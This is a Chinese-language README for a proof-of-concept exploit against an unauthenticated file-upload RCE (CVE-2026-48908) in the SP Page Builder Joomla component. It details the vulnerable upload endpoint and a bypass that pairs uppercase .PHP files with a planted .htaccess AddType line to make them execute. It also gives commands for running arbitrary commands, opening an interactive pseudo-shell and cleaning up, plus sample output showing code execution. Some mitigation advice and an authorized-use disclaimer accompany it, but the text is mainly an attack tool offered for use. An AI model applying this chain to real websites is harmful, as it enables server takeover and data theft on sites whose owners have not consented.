针对CVE-2026-48908的概念验证利用代码,这是一个严重的(CVSS 4.0 = 10.0)未认证远程代码执行漏洞,存在于JoomShaper开发的SP Page Builder组件(com_sppagebuilder)中,适用于Joomla。
| CVE | CVE-2026-48908 |
| 弱点 | CWE-284 访问控制不当 → 未认证的任意文件上传 → RCE |
| 组件 | SP Page Builder(com_sppagebuilder)for Joomla |
| 受影响版本 | 1.0.0 – 6.6.1 |
| 修复版本 | 6.6.2 |
| 所需权限 | 无(预认证) |
| 用户交互 | 无 |
SP Page Builder 暴露了控制器任务 asset.uploadCustomIcon 来处理自定义图标字体包的上传:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
在受影响版本中,该任务无需认证且无需有效的反CSRF令牌即可访问。它接受一个 ZIP 压缩包(多部分字段 custom_icon),并将其内容解压到文档根目录下一个公开可访问的 Web 目录中:
/media/com_sppagebuilder/assets/iconfont/<name>/ (包含 fonts/ 子目录)
由于上传在预认证状态下可访问,且解压后的文件位于 Web 根目录,攻击者可以将攻击者控制的文件写入可浏览的位置,并通过 HTTP 访问它们。
某些构建版本对归档条目添加了服务器端文件名过滤器。此 PoC 通过三步链绕过常见的过滤器实现:
.php、.phtml、.phar、.php3–.php8、.pht、.inc … 但它不进行大小写规范化,因此 .PHP(以及其他大小写混合的变体)和 .htaccess 可以通过。<FilesMatch "\.php$">)仅执行小写的 .php,因此上传的 .PHP 最初会以源代码文本形式提供,不会被运行。.htaccess 覆盖。 一个包含 AddType application/x-httpd-php .PHP 的 (黑名单同样遗漏了它)与有效载荷一同放置。在允许 的情况下,这将把 注册为 PHP 处理器,上传的 shell 。PoC 总是打包一个有效的图标字体结构(selection.json、style.css、fonts/<name>.ttf),以便上传被接受,然后添加 shell。
自适应 — 它会遍历一个 PHP 可执行扩展名列表(占用资源最少的优先),然后尝试 .htaccess 后备方案,并在第一个实际运行代码的方法处停止:
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php 每个扩展名,上传 fonts/<shell>.<ext>。无 .htaccess。 不同版本的 SP Page Builder 过滤器会阻止不同的扩展名集合,不同的 Apache 配置会执行不同的扩展名——因此此方法会找出目标允许且能运行代码的组合。fonts/.htaccess + fonts/<shell>.PHP(后备) — 仅在每次直接尝试都失败的情况下使用。丢弃的 .htaccess(AddType … .PHP)会强制大写 .PHP 在 AllowOverride 允许的地方执行(这就是 5.4.6 风格的主机所需要的)。它在第一个执行方法处停止并打印哪个方法生效。每个被接受的上传都会被跟踪,因此 --cleanup 会移除所有上传的内容(多次尝试可能会留下只写目录)。
根据版本和服务器加固情况,结果有所不同,PoC 会明确说明结果(详见下面的结果部分):完全 RCE、仅文件写入(PHP 禁用 /
AllowOverride None)、已修补(仅管理员)、或不受影响。
pip install -r requirements.txt # requests
# 确认漏洞并证明代码执行(运行 `id`)
python3 sppb_rce.py https://target.example
# 运行特定命令
python3 sppb_rce.py --url target.example -c "uname -a"
# 交互式伪shell
python3 sppb_rce.py https://target.example --shell
# 仅检查,不运行命令
python3 sppb_rce.py https://target.example --check
# 之后移除上传的有效负载目录
python3 sppb_rce.py https://target.example --cleanup
目标可以作为位置参数或通过 --url 提供,可以带或不带协议。
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC 始终会告知您目标的判定:
404 响应——它不是公开的后门。--cleanup 会删除它创建的 payload 目录。id,一个算术标记)。php_admin_flag engine off 禁用上传目录(/media/、/images/、/tmp)中的 PHP 执行。AllowOverride None,这样丢弃的 .htaccess 无法重新启用处理器。media/.../iconfont/ 下是否存在意外的 .php/.PHP、新的超级用户账户以及植入的文件管理器。Joomla SP Page Builder 利用 · com_sppagebuilder 未认证 RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon 任意文件上传 · Joomla 远程代码执行 · 渗透测试利用脚本。
本软件仅用于教育目的和授权安全测试——例如您已获得书面许可的渗透测试、包含目标范围内的漏洞奖励计划、CTF 竞赛以及您自己的实验系统。
未经授权访问、修改或破坏计算机系统在大多数司法管辖区是非法的。您对自身行为承担全部和唯一的责任。 通过使用、下载或分发此代码,您同意:
如果您不同意这些条款,请不要使用本软件。与任何公开可用的利用/PoC 一样,它基于善意共享,以帮助防御者检测、理解和修复漏洞;您如何使用它是您的责任。
MIT — 请参阅 LICENSE。
.htaccessAllowOverride.PHP| 输出 | 含义 | 退出码 |
|---|
CODE EXECUTION CONFIRMED via '<method>' | 存在漏洞 — 完全未认证 RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | 仅文件写入(AllowOverride None / PHP 在 /media 中禁用) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | 已修补 — 上传现在需要管理员认证 | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | 无法利用 / 组件不存在 | 2 |